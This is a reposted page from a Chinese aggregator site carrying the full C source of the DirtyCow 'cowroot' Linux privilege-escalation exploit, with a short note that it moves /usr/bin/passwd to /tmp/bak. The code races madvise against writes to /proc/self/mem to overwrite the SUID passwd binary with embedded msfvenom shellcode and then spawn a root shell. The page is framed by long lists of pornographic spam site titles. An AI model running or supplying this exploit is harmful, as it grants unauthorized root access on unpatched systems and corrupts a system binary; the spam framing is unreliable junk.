日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

LINUX的“脏奶牛”

發(fā)布時間:2024/9/5 linux 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 LINUX的“脏奶牛” 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

來源:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

編譯運行以下代碼成功后會把/usr/bin/passwd移動到/tmp/bak, 如果不改回去開機可能有問題

/* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) * * @robinverton */#include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h>void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3;// change if no permissions to read char suid_binary[] = "/usr/bin/passwd";/* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177;/* * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,0x89, 0xe1, 0xcd, 0x80 }; unsigned int sc_len = 136; */void *madviseThread(void *arg) {char *str;str=(char*)arg;int i,c=0;for(i=0;i<1000000 && !stop;i++) {c+=madvise(map,100,MADV_DONTNEED);}printf("thread stopped\n"); }void *procselfmemThread(void *arg) {char *str;str=(char*)arg;int f=open("/proc/self/mem",O_RDWR);int i,c=0;for(i=0;i<1000000 && !stop;i++) {lseek(f,map,SEEK_SET);c+=write(f, str, sc_len);}printf("thread stopped\n"); }void *waitForWrite(void *arg) {char buf[sc_len];for(;;) {FILE *fp = fopen(suid_binary, "rb");fread(buf, sc_len, 1, fp);if(memcmp(buf, sc, sc_len) == 0) {printf("%s overwritten\n", suid_binary);break;}fclose(fp);sleep(1);}stop = 1;printf("Popping root shell.\n");printf("Don't forget to restore /tmp/bak\n");system(suid_binary); }int main(int argc,char *argv[]) {char *backup;printf("DirtyCow root privilege escalation\n");printf("Backing up %s to /tmp/bak\n", suid_binary);asprintf(&backup, "cp %s /tmp/bak", suid_binary);system(backup);f = open(suid_binary,O_RDONLY);fstat(f,&st);printf("Size of binary: %d\n", st.st_size);char payload[st.st_size];memset(payload, 0x90, st.st_size);memcpy(payload, sc, sc_len+1);map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);printf("Racing, this may take a while..\n");pthread_create(&pth1, NULL, &madviseThread, suid_binary);pthread_create(&pth2, NULL, &procselfmemThread, payload);pthread_create(&pth3, NULL, &waitForWrite, NULL);pthread_join(pth3, NULL);return 0; }

總結(jié)

以上是生活随笔為你收集整理的LINUX的“脏奶牛”的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 三大队在线观看 | 精品人妻一区二区三区潮喷在线 | 欧美成人精品二区三区99精品 | 天天操天天看 | 精品午夜一区二区三区 | 黄色片在线播放 | 国产精品夜夜爽张柏芝 | 国产成年人视频 | 久久精品亚洲一区二区 | 日韩精品国产一区二区 | 日韩资源| 亚洲精品国产精品乱码不卡 | 韩国伦理片在线观看 | 综合久久一区二区 | 丰满少妇av | 成人高清视频免费观看 | 色视av | 在线欧美国产 | 成人午夜精品福利 | av导航网址| 91国产一区二区 | 99精品视频在线播放免费 | 日本后进式猛烈xx00动态图 | 激情总合网| 日韩三级视频 | 伊人久久大香线 | 午夜免费看视频 | 国产精品网站在线观看 | 国产福利视频导航 | 国产极品美女高潮无套嗷嗷叫酒店 | 国产日本在线观看 | 在线欧美日韩国产 | 亚洲乱码在线 | 成人免费一区二区三区在线观看 | 五月天小说网 | 肉大榛一进一出免费视频 | 久久夜精 | 日韩在线观看中文字幕 | 日韩一级黄| 老司机深夜免费福利 | 欧美激情综合 | 天堂av在线网 | 66av欧美| 黄色三级三级三级三级 | 国产一区二区久久 | 九色91丨porny丨丝袜 | 午夜影院在线观看18 | 乱中年女人伦 | 狠狠搞狠狠干 | 特及毛片| 九色麻豆| 18成人免费观看网站下载 | 手机看片国产精品 | 综合伊人av| 来吧亚洲综合网 | 精品精品视频 | 欧美不卡高清 | 都市激情自拍偷拍 | 干操网 | 精品人妻久久久久一区二区三区 | 911看片 | 亚洲成人一区二区三区 | 黄色日韩 | av网页在线观看 | 日韩a在线播放 | 久99热| 国产一区二区三区在线观看免费 | 久久一二三区 | 国产一级免费视频 | 大黄一级片 | 黑人巨大精品欧美黑白配亚洲 | 亚洲久久天堂 | 欧美成人手机在线视频 | 亚洲高清自拍 | av青青草原 | 午夜爱爱免费视频 | 青青草久久伊人 | av天堂一区 | 亚洲av无码一区二区乱孑伦as | 欧美做受xxxxxⅹ性视频 | av日韩高清| 岛国裸体写真hd在线 | 999国产精品视频免费 | 国产精品无码无卡无需播放器 | 国产精品入口麻豆 | 日批在线 | 在线免费观看视频黄 | 精品网站| 成人深夜福利视频 | 日本在线不卡一区二区三区 | av爱爱| 亚洲美女自拍偷拍 | 99资源网| 久久国产精 | www插插插| 玉足女爽爽91 | 成人颜色网站 | 一本大道熟女人妻中文字幕在线 | 国产精品视频免费播放 |